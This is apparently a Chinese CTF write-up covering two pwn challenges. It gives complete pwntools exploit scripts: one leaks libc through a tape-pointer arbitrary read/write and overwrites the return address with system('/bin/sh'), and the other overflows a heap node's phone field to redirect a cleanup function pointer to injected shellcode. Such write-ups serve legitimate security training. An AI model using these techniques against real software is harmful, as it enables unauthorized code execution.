t3sec | pwn
河南赛区的前两道题目
brain_stack
这题开了PIE, 第一反应是看怎么leak程序地址
大概就是…初始时候 tape_ptr -> tape
tape_ptr里存的是tape的地址.
这个tape里存的是随机的数字.
我们有四个功能
> tape_ptr++
< tape_ptr--
R read tape_ptr[0..3]
W write to tape_ptr[0..3]
功能很清晰了…天然的任意地址读写
由于读写指针是tape_ptr, 初始在离tape_ptr本身很近的tape处
所以如果距离比较近, 可以用>
or<
来一步一步把tape_ptr移过去
但如果比较远就不如先移动到tape_ptr, 通过改写tape_ptr来快速指向目的地
这题目有PIE, 但其实获得基址好像也没太大用….
因为题目本身的缘故, 只要知道偏移就OK了
大概做法就是leak出buf的地址, 由于buf的地址存在cmd, 所以读cmd就能获得buf地址, 而buf的地址距离函数返回地址偏移9 + 4
, IDA里可以看到
然后更改返回地址处为p32(system) + padding + p32('/bin/sh')
#encoding: utf-8
from pwn import *
#p = remote("127.0.0.1", 11111)
#libc = ELF("./libc32")
p = process("./brain-stack")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
now_addr = 0x0
def gd(a=''):
gdb.attach(p, a)
if a == '':
raw_input()
def r4():
p.recvuntil("> ")
p.sendline("R")
def w4(con):
p.recvuntil("> ")
p.sendline("W")
p.sendline(con)
def m_l():
p.recvuntil("> ")
p.sendline("<")
def m_r():
p.recvuntil("> ")
p.sendline(">")
def mov2(addr):
global now_addr
off = addr - now_addr
now_addr = addr
if off < 0:
off = -off
for i in range(off):
m_l()
else:
for i in range(off):
m_r()
tape = 0x2040
tape_ptr = 0x2038
cmd = 0x203c
got_write = 0x2024
now_addr = tape
# leak addr_of_cmd
# cmd -> buf
# mov to 0x203c
mov2(cmd)
r4()
addr_buf = u32(p.recv(8).decode('hex'))
p.success("buf: {}".format(hex(addr_buf)))
ret_addr = (addr_buf + 9 + 4)
# leak addr_of_base
# mov to 0x2038
mov2(tape_ptr)
r4()
addr_tape_ptr = u32(p.recv(8).decode('hex'))
base_addr = addr_tape_ptr - 0x2038
p.success("base: {}".format(hex(base_addr)))
# 这一步其实没啥用
#gd()
# leak write@got
mov2(got_write)
r4()
write_addr = u32(p.recv(8).decode('hex'))
libc.address = write_addr - libc.symbols['write']
system_addr = libc.symbols['system']
bin_sh_addr = list(libc.search('/bin/sh'))[0]
p.success("system = {}".format(hex(system_addr)))
p.success("bin_sh = {}".format(hex(bin_sh_addr)))
mov2(tape_ptr)
w4(p32(ret_addr)) # the addr want to write
# 以上两步相当于 mov2(ret_addr), 但直接mov是一步一步...发这么多可能会出问题
# 试了一下...直接mov2...这么大的for in range 会报错...算了就这样吧
w4(p32(system_addr))
for i in range(4):
m_r()
w4(p32(0xdeadbeef))
for i in range(4):
m_r()
w4(p32(bin_sh_addr))
# p32(system) + p32(0xdeadbeef) + p32("/bin/sh")
p.sendline("c") # trash
p.interactive()
有人到了这个东西one_gadget
…但这里的构造条件, 我该怎么构造
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
这第一个条件…我就做不来, 难道还要我pop esi
吗…
game4
这道题也很简单…
大概功能
1. List entries
2. Add entry
3. Edit entry
4. Remove entry
0. Exit
结构
t_entry {
char name[32];
char phone_number[16];
}
t_node {
void (*cleanup)(t_node * node); // 8
t_node *next; // 8
t_entry entry; // 48
} // 64 -> 0x40
单链表来操作…
这个…给name拷贝的时候是char buf[256] -> char name[32]
…
这个…给phone拷贝的时候是char buf[256] -> char name[16]
…
就是堆溢出..
看怎么getshell了…
看了一下啥保护都没开, 那我们可以铺shellcode了…
新建两个node, 然后修改node1, 使得node1的phone_number溢出覆盖node2的cleanup函数指针改为我们的shellcode
删除node2即可触发
开始以为要leak出什么东西来…后来发现在输入操作中使用到的buf是放在bss上的, 只要在删除node2之前那次把shellcode写入buf就OK了
开始搞错了…以为是edit node1的时候写shellcode…
然后仔细检查了一下, 是在remove node2的时候还要输入一次要删除的编号…这个时候又要使用一次buf
所以我们在edit的时候就写入padding + p64(buf + off)
在remove的时候写入'2' + (off - 1) * ' ' + shellcode
, 2是删除的编号, 空格是为了正常读入编号的padding, 所以我们的函数指针也要把这个padding加回来
这个off可以随便选…甚至可以是1…
read_int函数会从buf里sscanf一个%d
, 所以要padding一下再写入我们的shellcode
from pwn import *
context.arch = 'amd64'
p = process("./ctf")
def n_n(name, number):
p.recvuntil(": ")
p.sendline(name)
p.recvuntil(": ")
p.sendline(number)
def add(name, number):
p.sendline("2")
n_n(name, number)
def edit(idx, name, number):
p.sendline("3")
p.sendline(str(idx))
n_n(name, number)
def remove(idx):
p.sendline("4")
p.recvuntil(": ")
p.sendline(str(idx))
add('a', 'c')
add('b', 'c')
buf = 0x6020e0
payload1 = 'A' * 32 + p64(buf + 8)
edit(1, 'm', payload1)
sc = asm(shellcraft.linux.sh())
payload2 = '2' + ' ' * 7
payload2 += sc
remove(payload2)
p.interactive()